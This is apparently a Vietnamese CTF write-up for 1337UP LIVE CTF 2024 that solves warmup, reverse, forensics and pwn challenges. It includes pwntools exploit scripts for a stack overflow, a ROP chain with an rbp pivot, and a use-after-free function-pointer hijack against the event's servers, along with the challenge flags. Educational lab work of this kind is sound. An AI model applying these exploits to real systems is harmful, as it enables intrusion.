# 1337UP LIVE CTF 2024
---
| Category | Challenge Name | Value | Difficulty |
|---------------|-------------------------|-------|------------|
| Warmup | Sanity Check | 50 | Very Easy |
| Warmup | BabyFlow | 50 | Very Easy |
| Warmup | In Plain Sight | 50 | Very Easy |
| Rev | Secure Bank | 100 | Easy |
| Pwn | Rigged Slot Machine 2 | 100 | Easy |
| Forensics | Logging | 100 | Easy |
| Pwn | Retro2Win | 100 | Easy |
| Pwn | UAP | 100 | Medium |
| Misc | Triage Bot v2 | 100 | Easy |
---
## Sanity Check

### **Hints**
- No hint
### **Solution**
Sau khi vào được sever Discord thì ta thử vào từng kênh và ta thấy rằng flag được nằm trong kênh "**ctf-general**".

Flag: INTIGRITI{1f_y0u_l34v3_7h3_fl46_w1ll_b3_r3v0k3d}
---
## BabyFlow

### **Hints**
- No hint
### **Solution**
Đầu tiên ta checksec thử file mà họ cho. Sau khi đọc và đây cũng là bài warmup nên mình mạnh dạng đoán bài này sẽ là stackoverflow, còn đúng hay không thì cùng mình làm những bước tiếp theo

Sau đó ta thử netcat vào thì họ yêu cầu ta nhập password và chắc chắn mật khẩu chúng ta nhập sẽ bị **Incorrect** vì chúng ta chả có thông tin gì.

Sau đó ta thử tải file bên dưới về để xem chúng có gì, sau khi kiểm tra thì ta thấy đây là file ELF nên ta sẽ dùng IDA để đọc file vừa tải về

Sau khi dùng IDA để đọc file vừa tải thì ta nhìn vào hàm main ta thấy password đúng chính là: **SuPeRsEcUrEPaSsWoRd123**.
Lưu ý: flag bên dưới là fake flag đúng như nội dung của flag
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
v5 = 0;
printf("Enter password: ");
fgets(s, 50, _bss_start);
if ( !strncmp(s, "SuPeRsEcUrEPaSsWoRd123", 0x16uLL) )
{
puts("Correct Password!");
if ( v5 )
puts("INTIGRITI{the_flag_is_different_on_remote}");
else
puts("Are you sure you are admin? o.O");
return 0;
}
else
{
puts("Incorrect Password!");
return 0;
}
}
```
Thế thì để sever trả về flag thì chúng ta cần phải làm cho **v5 khác 0**, vậy thì làm sao để v5 khác 0 ? Ta để ý dòng lệnh **fgets(s, 50, _bss_start)** và **char s[44]** ta thấy kích thước khi fgets của s là 50 nhưng thật ra mảng s chỉ có kích thước là 44 nên sẽ dẫn đến hiện tượng **buffer overflow** và nó sẽ ghi đè lên v5, vậy ta chỉ nhập password đúng và trước sau đó nhập dư ra thêm cho tổng ký tự > 45 thì v5 sẽ được thay đổi (Ở đây mình nhập rất nhiều pass đúng vào cho tổng ký tự > 45) và chúng ta có được flag

Flag: INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}
---
## In Plain Sight

### **Hints**
- No hint
### **Solution**
P/S: Bài này **RẤT FOREN** là 1 mảng mà mình không nghiên cứu nhiều nên mình may mắn solve được bài này nhờ vào teammate của mình đã làm hết tất cả chỉ chừa bước cuối là dùng tool [Steghide online](https://georgeom.net/StegOnline/image) để xem chữ được giấu trong file ảnh màu trắng

Flag: INTIGRITI{w4rmup_fl46z}
---
## Secure Bank

### **Hints**
- No hint
### **Solution**
Đầu tiên ta sẽ checksec file mà họ cho.

Thử netcat vào sever thì họ bắt mình nhập **superadmin PIN** và tất nhiên chúng ta sẽ nhập sai vì chưa có thông tin gì cả

Tiếp theo ta sẽ dùng IDA để đọc file thì ta thấy mã pin ở đây sẽ là **1337** nhưng không những thế mã pin ấy sẽ còn được gen qua hàm **generate_2fa_code** và sau đó họ hỏi ta sau khi gen thì 1337 sẽ thành số bao nhiêu và kiểm tra, nếu đúng thì sẽ cho ta flag
Lưu ý: flag ở đoạn code thứ 3 là fake flag.
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
int v5; // [rsp+8h] [rbp-8h] BYREF
unsigned int _2fa_code; // [rsp+Ch] [rbp-4h]
banner(argc, argv, envp);
login_message();
printf("Enter superadmin PIN: ");
__isoc99_scanf("%u", &v5);
if ( v5 == 1337 )
{
_2fa_code = generate_2fa_code(1337LL);
printf("Enter your 2FA code: ");
__isoc99_scanf("%u", &v4);
validate_2fa_code(v4, _2fa_code);
return 0;
}
else
{
puts("Access Denied! Incorrect PIN.");
return 1;
}
}
```
```c
__int64 __fastcall generate_2fa_code(int a1)
{
int i; // [rsp+Ch] [rbp-Ch]
int v3; // [rsp+10h] [rbp-8h]
unsigned int v4; // [rsp+14h] [rbp-4h]
v4 = 48879 * a1;
v3 = 48879 * a1;
for ( i = 0; i <= 9; ++i )
{
v4 = obscure_key(v4);
v3 = ((v4 >> ((char)i % 5)) ^ (v4 << (i % 7))) + __ROL4__(v4 ^ v3, 5);
}
return v3 & 0xFFFFFF;
}
```
```c
int __fastcall validate_2fa_code(int a1, int a2)
{
if ( a1 != a2 )
return puts("Access Denied! Incorrect 2FA code.");
puts("Access Granted! Welcome, Superadmin!");
return printf("Here is your flag: %s\n", "INTIGRITI{fake_flag}");
}
```
Để giải được số **1337** sau khi được gen thì ra bao nhiêu thì mình đã chạy đoạn code trong hàm gen và cho số **1337** vào thì đáp án mình nhận được là: **5670688**

Chỉ chờ có thế, mình tự tin netcat lại vào sever 1 lần nữa và nhập mã pin ban đầu là **1337** và số vừa mới được tính là **5670688** và ta đã có flag

Flag: INTIGRITI{pfff7_wh47_2f4?!}
---
## Rigged Slot Machine 2

### **Hints**
- No hint
### **Solution**
Đầu tiên ta thử checksec file mà họ cho

Tiếp theo ta netcat thử vào sever thì thấy đây là 1 trò chơi gì đó mà mình cũng chả rõ.

Tiếp theo ta sẽ dùng IDA để đọc thử file ấy.
```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // [rsp+Ch] [rbp-24h] BYREF
char v5[20]; // [rsp+10h] [rbp-20h] BYREF
unsigned int v6; // [rsp+24h] [rbp-Ch] BYREF
int v7; // [rsp+28h] [rbp-8h]
int rgid; // [rsp+2Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
v3 = time(0LL);
srand(v3);
setup_alarm(5LL);
v6 = 100;
puts("Welcome to the Rigged Slot Machine!");
puts("You start with $100. Can you beat the odds?");
enter_name(v5);
while (1)
{
while (1)
{
v4 = 0;
printf("\nEnter your bet amount (up to $%d per spin): ", 100LL);
v7 = __isoc99_scanf("%d", &v4);
if (v7 == 1)
break;
puts("Invalid input! Please enter a numeric value.");
clear_input();
}
if (v4 > 0 && v4 <= 100)
{
if (v4 <= (int)v6)
{
play((unsigned int)v4, &v6);
if (v6 == 1337420)
payout(&v6);
}
else
{
printf("You cannot bet more than your Current Balance: $%d\n", v6);
}
}
else
{
printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n", 100LL);
}
}
}
```
Và sau khi kiểm tra tất cả các hàm thì mình thấy được hàm này có vẻ sẽ khai thác được vì gets là 1 hàm rất dễ xảy ra lỗi và rất ưa được dùng để khai thác.
```c
int __fastcall enter_name(const char *a1)
{
puts("Enter your name:");
gets(a1);
return printf("Welcome, %s!\n", a1);
}
```
Không những thế ta còn phải vào được hàm payout vì trong đó có chứa flag nhưng để vào được hàm payout thì v6 phải bằng **1337420**.
```c
int __fastcall payout(_DWORD *a1)
{
_BYTE v2[72]; // [rsp+10h] [rbp-50h] BYREF
FILE *stream; // [rsp+58h] [rbp-8h]
if ( *a1 != 1337420 )
{
puts("You can't withdraw money until you win the jackpot!");
exit(-1);
}
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(v2, 64, stream);
printf("Congratulations! You've won the jackpot! Here is your flag: %s\n", v2);
return fclose(stream);
}
```
Sau khi đọc code mình nhận thấy v5 là tượng trưng cho name còn v6 là tượng trưng cho số tiền mà mình hiện có, ta thấy v5 chỉ khai báo với size là 20 vậy ta chỉ cần nhập input có size > 20 thì nó sẽ được tràn qua v6 vậy ta dùng pwntool để gửi payload lên sever với 1 payload gồm 20 ký tự bất kỳ và số tiền mình mong muốn ở đây là **1337420** để vào được hàm payout kia và có được flag
```python
from pwn import *
host = 'riggedslot2.ctf.intigriti.io'
port = 1337
p = remote(host, port)
payload = b"A" * 20
payload += b"\xF3\x72\x14\x00"
p.sendline(payload)
p.interactive()
```
Bằng 1 lý do nào đó thì mình không thể nhập được chính xác con số **1337420** nên mình đã nhập bừa 1 số to hơn và chơi game của sever để bị trừ tiền cho đến khi số tiền còn đúng **1337420**

Flag: INTIGRITI{1_w15h_17_w45_7h15_345y_1n_v3645}
---
## Logging

### **Hints**
- No hint
### **Solution**
Đầu tiên ta tải file mà đề cho về, sau đó mình có mở lên thì thấy có rất nhiều thông tin và đa số đều giống nhau nên mình có đọc sơ thì thấy có những chỗ có thể dùng để khai thác như **>CHAR(ab)** và **!%3DCHAR(ab)** với ab là những số bất kỳ, sau khi chắt lọc phần thông tin ấy và suy đoán thì mình đoán ý đồ của bài này là dịch số ascii sang hex.

Mình đã thử lấy những số trong **>CHAR** thì nó không có ý nghĩa gì những riêng trong **!%3DCHAR** sau khi lấy những số trong đó ra và dịch từ ascii về hex thì nó lại có nghĩa như sau.
Ta dùng lệnh **grep -oP '!%3DCHAR\(\K\d+(?=\))' app.log > output.txt** để lấy được những số trong **!%3DCHAR**. Sau đó ta code để chuyển từ ascii sang hex và ta có được flag

Flag: INTIGRITI{5q1_log_analys1s_f0r_7h3_w1n!}
---
## Retro2Win

### **Hints**
- No hints
### **Solution**
#### Cách 1
Đầu tiên ta sẽ checksec file đề cho thử

Tiếp theo ta dùng IDA để đọc file ELF lên, đọc hàm main thì ta thấy được 1 hàm ẩn là **enter_cheatcode** và để vào được đó thì ta cần input là 1337
```c
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
show_main_menu(*(_QWORD *)&argc, argv, envp);
argv = (const char **)&v4;
*(_QWORD *)&argc = "%d";
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
battle_dragon();
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_12;
explore_forest();
}
if ( v4 == 3 )
break;
if ( v4 == 1337 )
{
enter_cheatcode();
}
else
{
LABEL_12:
*(_QWORD *)&argc = "Invalid choice! Please select a valid option.";
puts("Invalid choice! Please select a valid option.");
}
}
puts("Quitting game...");
return 0;
}
```
Vào hàm **enter_cheatcode** để kiểm tra thử thì ta thấy ở đây có 1 câu lệnh gets có thể tận dụng để tận dụng các lỗi stack overflow
```c
int enter_cheatcode()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
puts("Enter your cheatcode:");
gets(v1);
return printf("Checking cheatcode: %s!\n", v1);
}
```
Nhìn vào cột các Functions bên phải thì ta thấy có hàm **cheat_mode** không được gọi bởi bất cứ thứ gì hoặc hàm khác. Nên ta nghĩ ngay đến vấn đề stack overflow. Sau khi đọc source của hàm **cheat_mode** ta thấy rần phải so sánh a1 và a2 với **0x2323232323232323LL** và **0x4242424242424242LL**
```c
int __fastcall cheat_mode(__int64 a1, __int64 a2)
{
char s[72]; // [rsp+10h] [rbp-50h] BYREF
FILE *stream; // [rsp+58h] [rbp-8h]
if ( a1 != 0x2323232323232323LL || a2 != 0x4242424242424242LL )
return puts("Unauthorized access detected! Returning to main menu...\n");
puts("CHEAT MODE ACTIVATED!");
puts("You now have access to secret developer tools...\n");
stream = fopen("flag.txt", "r");
if ( !stream )
return puts("Error: Could not open flag.txt");
if ( fgets(s, 64, stream) )
printf("FLAG: %s\n", s);
return fclose(stream);
}
```
Vậy thì ta sẽ lưu tham số đầu tiên vào rdi và tham số thứ 2 vào rsi bằng cách ROP exploit.
Đầu tiên ta lấy địa chỉ ROP của rdi và rsi như sau

Tiếp theo ta cần phải xác định được nhập bao nhiêu byte để cho nó nhảy vào đúng return address bằng cách debug như sau.


Ở đây ta thấy địa chỉ mà hàm **gets** trỏ tới đầu tiên là **0x7fffffffe530**

Và ta cũng có được địa chỉ của hàm **ret** là **0x7fffffffe548**

Vậy khoảng cách của nó là 24byte

Từ đó ta xây dựng được code để giải bài này như sau
```python
from pwn import *
# p = process('./retro2win')
p = remote('retro2win.ctf.intigriti.io', 1338)
rdi = 0x2323232323232323
rsi = 0x4242424242424242
ROP_rdi = 0x00000000004009b3
ROP_rsi = 0x00000000004009b1
cheat_mode = 0x0000000000400736
payload = b'A' * 24 + p64(ROP_rdi) + p64(rdi) + p64(ROP_rsi) + p64(rsi) + p64(0) + p64(cheat_mode)
p.sendline(b'1337')
p.sendline(payload)
p.interactive()
```
Và ta có được flag là

Flag: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}
#### Cách 2
P/S: sau khi kết thúc giải và viết wu rồi gửi cho mọi người đọc để góp ý cho bài của mình, thì có 1 người anh đã hỏi mình là **có nhất thiết phải làm như vậy không hay còn cách khác** và lúc đó mình cũng đang có thắc mắc là mình có thể ret vào 1 lệnh bất kỳ trong hàm không hay chỉ nhảy được và đầu hàm thôi, nên mình lôi bài này ra test luôn.
Triển khai ý tưởng trên thì ta sẽ cho ret vào 1 câu lệnh phía sau chỗ so sánh rdi và rsi
```c
pwndbg> disass cheat_mode
Dump of assembler code for function cheat_mode:
0x0000000000400736 <+0>: push rbp
0x0000000000400737 <+1>: mov rbp,rsp
0x000000000040073a <+4>: sub rsp,0x60
0x000000000040073e <+8>: mov QWORD PTR [rbp-0x58],rdi
0x0000000000400742 <+12>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000400746 <+16>: movabs rax,0x2323232323232323
0x0000000000400750 <+26>: cmp QWORD PTR [rbp-0x58],rax
0x0000000000400754 <+30>: jne 0x4007e2 <cheat_mode+172>
0x000000000040075a <+36>: movabs rax,0x4242424242424242
0x0000000000400764 <+46>: cmp QWORD PTR [rbp-0x60],rax
0x0000000000400768 <+50>: jne 0x4007e2 <cheat_mode+172>
0x000000000040076a <+52>: mov edi,0x4009d8
0x000000000040076f <+57>: call 0x4005a0 <puts@plt>
0x0000000000400774 <+62>: mov edi,0x4009f0
0x0000000000400779 <+67>: call 0x4005a0 <puts@plt>
0x000000000040077e <+72>: mov esi,0x400a22
0x0000000000400783 <+77>: mov edi,0x400a24
0x0000000000400788 <+82>: call 0x400610 <fopen@plt>
0x000000000040078d <+87>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400791 <+91>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000400796 <+96>: jne 0x4007a4 <cheat_mode+110>
0x0000000000400798 <+98>: mov edi,0x400a30
0x000000000040079d <+103>: call 0x4005a0 <puts@plt>
0x00000000004007a2 <+108>: jmp 0x4007ec <cheat_mode+182>
0x00000000004007a4 <+110>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004007a8 <+114>: lea rax,[rbp-0x50]
0x00000000004007ac <+118>: mov esi,0x40
0x00000000004007b1 <+123>: mov rdi,rax
0x00000000004007b4 <+126>: call 0x4005e0 <fgets@plt>
0x00000000004007b9 <+131>: test rax,rax
0x00000000004007bc <+134>: je 0x4007d4 <cheat_mode+158>
0x00000000004007be <+136>: lea rax,[rbp-0x50]
0x00000000004007c2 <+140>: mov rsi,rax
0x00000000004007c5 <+143>: mov edi,0x400a4f
0x00000000004007ca <+148>: mov eax,0x0
0x00000000004007cf <+153>: call 0x4005c0 <printf@plt>
0x00000000004007d4 <+158>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004007d8 <+162>: mov rdi,rax
0x00000000004007db <+165>: call 0x4005b0 <fclose@plt>
0x00000000004007e0 <+170>: jmp 0x4007ec <cheat_mode+182>
0x00000000004007e2 <+172>: mov edi,0x400a60
0x00000000004007e7 <+177>: call 0x4005a0 <puts@plt>
0x00000000004007ec <+182>: leave
0x00000000004007ed <+183>: ret
```
Ở đây mình sẽ cho ret vào vị trí **0x000000000040076a** để tránh việc so sánh rdi và rsi như bên trên. Và đây là script của mình
```python
from pwn import *
p = process('./retro2win')
# gdb.attach(p)
ret = 0x000000000040076a
payload = b'aaaabaaacaaadaaaeaaafaaa' + p64(ret)
p.sendline(b'1337')
p.sendline(payload)
p.interactive()
```
Không dễ ăn như vậy nó đã bị bug ở đâu nó

Ta cùng debug để xem chúng lỗi ở đâu thì ta thấy lỗi do ta đã lỡ ghi đè lên saved_rbp nên sau khi leave rbp bị thay đổi bởi 1 giá trị lỗi mà không có vùng nào chứa nó


Vậy thì việc của ta chỉ cần làm là thay đổi cho rbp 1 địa chỉ mà địa chỉ đó thuộc 1 vùng cố định. Vậy thì làm sao để thay đổi được saved_rbp để sau khi leave thì rbp sẽ trở thành đúng giá trị mà mình mong muốn ?


Ở đây ta có 2 cách điểm kiểm tra khoảng cách từ rsp đến saved_rbp là bao nhiêu, vậy thì ta thấy từ rsp đến saved_rbp 16 byte. Tiếp theo ta sẽ tìm 1 vùng cố định để cho rbp trỏ vào thoải mái và yêu cầu tối thiểu phải có quyền **rw (read và write)**


Sau khi vmmap thì ta thấy có 3 vùng chắc chắn sẽ là cố định vì đuôi file của nó là file mà chúng ta đang làm và thêm 1 điều nữa là khi checksec ở đầu bài thì ta thấy bài này NO PIE, 1 trong 3 vùng ấy thì có 1 vùng có quyền **rw** nên ta thử xem vài mục trong **0x602000** và thấy được có 1 vùng có rất nhiều số 0 nên ta chọn bừa 1 địa chỉ mới cho rbp là **0x602090** và cùng sửa lại code và chúng ta đã có được flag.
```python
from pwn import *
p = process('./retro2win')
# gdb.attach(p)
ret = 0x000000000040076a
rbp = 0x602090
payload = b'aaaabaaacaaadaaa' + p64(rbp) + p64(ret)
p.sendline(b'1337')
p.sendline(payload)
p.interactive()
```

---
## UAP

### **Hints**
- No hint
### **Solution**
P/S: thật ra bài này mình đáng lẽ không định làm nhưng vì team mình đã làm được thêm vài bài và mình bị 1 người anh NHẮN NHỦ đôi lời như hình, nên mình đã cố hơn 1 tý và đã làm được bài này và đây cũng sẽ là bài có wu chỉnh chu nhất trong cả đề.

Không luyên thuyên nữa thì ta bắt đầu vào bài.
Đầu tiên ta checksec thử file đề cho.

Sau khi dùng IDA để đọc file thì mình nhận thấy rằng, đây là chương trình **mô phỏng hệ thống máy bay không người lái** và do ta quản lý.

Ta có thể **triển khai drone**, **sa thải drone**, **bắt đầu 1 tuyến đường**, **tạo 1 tuyến đường** và **thoát khỏi hệ thống**.
Máy bay không người lái được theo dõi bằng một ID cụ thể và quản lý bộ nhớ được thực hiện trên mỗi hoạt động, nhưng bộ nhớ được giải phóng có thể **VÔ TÌNH** đuọc sử dụng lại.

Đầu tiên ta sẽ vào từng hàm trong main
```c
void __cdecl deploy_drone()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( !fleet[i] )
{
fleet[i] = (Drone_0 *)malloc(' ');
fleet[i]->id = i + 1;
fleet[i]->status = "ready";
fleet[i]->start_route = (void (*)(Drone *))start_route;
fleet[i]->end_route = (void (*)(Drone *))end_route;
printf("Drone %d deployed and ready for a route.\n", (unsigned int)fleet[i]->id);
return;
}
}
puts("Error: No available slots for new drones.");
}
```
Trong hàm **deploy_drone()** có mảng **fleet[]** và mảng này sẽ được dùng làm đối tượng của máy bay và bộ nhớ của **fleet[]** được cấp bởi hàm **malloc**.
```c
void __cdecl retire_drone()
{
int id; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
printf("Enter drone ID to retire: ");
__isoc99_scanf("%d", &id);
if ( id > 0 && id <= 10 && fleet[id - 1] )
{
printf("Freeing drone memory at %p\n", fleet[id - 1]);
fleet[id - 1]->end_route(fleet[id - 1]);
printf("Drone %d retired.\n", (unsigned int)id);
}
else
{
puts("Error: Drone not found.");
}
}
```
```c
void __cdecl end_route(Drone_0 *d)
{
printf("Drone %d ending its route.\n", (unsigned int)d->id);
free(d);
}
```
Trong hàm **retire_drone()** này nó sẽ giải phóng bộ nhớ của drone khi nhận được id, tuy nhiên bộ nhớ của drone tức **fleet** vẫn còn khả dụng sau khi free. Nên sau free nhưng vẫn còn sử dụng bộ nhớ của **fleet[id - 1]** thì sẽ ghi đè lên con trỏ của máy bay trước đó.
```c
void __cdecl enter_drone_route()
{
flight_data = (char *)malloc(' ');
printf("Allocated route buffer at %p\n", flight_data);
printf("Enter the drone route data: ");
__isoc99_scanf("%63s", flight_data);
puts("Drone route data recorded.");
}
```
Khi hàm **enter_drone_route** được **"phân bổ"** vào bộ nhớ đã được free trước đó thì ta có thể thực thi và tiếp quản được vùng bộ nhớ đã được free trước đó (sau khi scanf thì thông tin của flight_data tương tự với fleet[0]) **-> use-after-free**

Bây giờ ta đã xác định được lỗ hỏng của bài vậy thì ta chỉ tiếp quản lại vùng bộ nhớ sau khi free và chuyển hướng nó đến hàm **print_drone_manual()** nơi sẽ in ra flag.
```c
void __cdecl print_drone_manual()
{
char ch_0; // [rsp+7h] [rbp-9h]
FILE *file; // [rsp+8h] [rbp-8h]
file = fopen("drone_manual.txt", "r");
if ( file )
{
while ( 1 )
{
ch_0 = fgetc(file);
if ( ch_0 == -1 )
break;
putchar(ch_0);
}
fclose(file);
}
else
{
puts("Error: Unable to access drone manual.");
}
}
```
Vậy thì làm thế nào để có thể chuyển hướng đến một hàm khác ? Ta cùng đi đọc source code của những function khác (ưu tiên đọc bằng asm thay vì pseudo để tìm câu lệnh **call rax**)

Thì ta để ý thấy trong function **start_drone_route** có hàm **call rax** (**số 1 trong ảnh**) vậy thì ta cần xem xem rax bằng cái gì ? Tiếp tục nhìn ở **số 2 trong ảnh** ta thấy dòng đầu tiên **rax sẽ trỏ vào fleet[0]** vậy thì vì sao ta biết được rax sẽ trỏ vào fleet[0] ? Nhìn lên số 3 1 xíu ta thấy **[rbp - 0xc] = 1** sau đó **sub eax,0x1 nên eax = 0 => rax = 0**. Đến với số 2 thì dòng đầu tiên là rax sẽ trỏ vào fleet[0] vì **0x6020c0** là địa chỉ bắt đầu của fleet ? (tele thử địa chỉ đó thì thấy nó chỉ tới vị trí đầu tiên của fleet)


Trở lại với **số 2** của hình trên thì ta thấy **rax = fleet[2]** sau đó tiếp tới số **1** là **call rax** vậy thì để ta chuyển hướng được vào hàm **print_drone_manual** ta cần thay đổi sao cho **fleet[2] = address của print_drone_manual**
Và đây sẽ là đoạn source để mình solve bài này
```python
from pwn import *
# p = process("./drone")
p = remote('uap.ctf.intigriti.io', 1340)
ret = 0x0000000000400836
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'4')
payload = b'AAAABBBBCCCCDDDD' + p64(ret)
p.sendline(payload)
p.sendline(b'3')
p.sendline(b'1')
p.interactive()
```
Và ta đã có flag (hơi đen là sever đã không còn nữa nên mình đành chạy local)

Flag: INTIGRITI{un1d3n71f13d_fly1n6_vuln3r4b1l17y}
---
## Triage Bot v2